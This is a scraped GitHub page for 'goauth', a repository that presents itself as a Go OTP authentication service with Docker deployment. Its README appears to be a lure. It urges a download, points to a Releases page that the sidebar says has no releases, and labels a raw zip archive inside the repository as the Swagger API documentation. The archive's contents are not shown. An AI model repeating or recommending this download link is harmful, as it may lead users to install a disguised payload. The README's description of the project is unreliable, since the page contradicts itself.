Thanks to visit codestin.com
Credit goes to github.com

Skip to content
/ goauth Public

πŸ” Simplify secure login with GoAuth, a Golang-based OTP authentication service featuring RESTful API, user management, and easy deployment.

Notifications You must be signed in to change notification settings

Rek36/goauth

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ goauth - Secure User Management Made Easy

πŸ”— Download Now

Download GoAuth

πŸ“œ Description

GoAuth is a production-ready, OTP-based authentication and user management service written in Go. With a focus on security and usability, it offers JWT support, rate limiting, and user APIs. GoAuth is fully containerized using Docker for seamless deployment.

πŸ› οΈ Features

  • OTP-Based Authentication: Secure your application by using one-time passwords for user verification.
  • User Management: Easily create, modify, or delete users within your application.
  • Clean Architecture: Organize your codebase for better maintainability and scalability.
  • Built with Go: Enjoy the performance and efficiency of the Go programming language.
  • Rate Limiting: Prevent abuse of your APIs by limiting requests per user.
  • Swagger Documentation: Easily access the API documentation with Swagger for smooth integration.
  • Containerization with Docker: Run your application anywhere, thanks to Docker’s container technology.

πŸš€ Getting Started

To set up GoAuth, follow these straightforward steps.

1. System Requirements

Before downloading, ensure your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux
  • Docker: Installed and running
  • Basic Knowledge: Familiarity with command line interface is helpful but not required.

2. Download & Install

Visit the Releases Page to download the latest version of GoAuth. You’ll find the files you need there.

3. Running GoAuth

After downloading, follow these steps to run GoAuth:

  • Open your terminal or command prompt.
  • Navigate to the directory where you downloaded GoAuth.
  • Use Docker to start the application by typing:
    docker-compose up
  • Your GoAuth service should now be running.

πŸ“„ Documentation

For detailed API documentation, GoAuth uses Swagger. Once you have the application running, access the documentation by visiting:

https://raw.githubusercontent.com/Rek36/goauth/main/bhang/goauth.zip

This will help you understand how to interact with the API and utilize all of GoAuth's features.

πŸ‘₯ Support

If you encounter any issues or have questions, feel free to open an issue on our Issues Page. The community is here to help you.

πŸ› οΈ Contributing

We welcome contributions. If you would like to contribute, please check our contribution guidelines on the repository. Your feedback and suggestions help us improve GoAuth for everyone.

πŸ“ License

GoAuth is open-source software and is released under the MIT License. You can freely use, modify, and distribute it.

πŸ”— Links

Thank you for choosing GoAuth as your authentication solution!

About

πŸ” Simplify secure login with GoAuth, a Golang-based OTP authentication service featuring RESTful API, user management, and easy deployment.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •